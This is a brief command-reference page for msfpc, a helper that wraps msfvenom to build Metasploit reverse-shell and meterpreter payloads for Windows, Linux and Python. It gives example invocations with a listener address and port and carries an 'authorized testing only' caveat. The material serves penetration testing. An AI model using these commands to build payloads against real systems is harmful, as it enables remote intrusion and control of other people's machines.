LinuxCommandLibrary

msfpc

TLDR

Generate Windows payload

$ msfpc windows [192.168.1.10]
copy
Generate Linux payload
$ msfpc linux [192.168.1.10]
copy
Generate with specific port
$ msfpc windows [192.168.1.10] [4444]
copy
Generate meterpreter payload
$ msfpc windows meterpreter [192.168.1.10]
copy
Generate staged payload
$ msfpc windows staged [192.168.1.10]
copy
Generate Python payload
$ msfpc python [192.168.1.10]
copy

SYNOPSIS

msfpc [type] [options] lhost [lport]

DESCRIPTION

msfpc (MSFvenom Payload Creator) simplifies payload generation. It wraps msfvenom functionality.
The tool creates common payloads quickly. Generates handlers and multi-format outputs.
msfpc is MSFvenom payload helper.

PARAMETERS

TYPE

Payload type (windows, linux, python, etc.).
LHOST
Local host IP address.
LPORT
Local port (default 443).
meterpreter
Generate meterpreter payload.
staged
Generate staged payload.
--help
Display help information.

CAVEATS

Authorized testing only. Requires Metasploit. Detection likely without encoding.

HISTORY

msfpc was created to simplify msfvenom payload generation for penetration testers.

SEE ALSO

msfvenom(1), msfconsole(1), nmap(1)

Copied to clipboard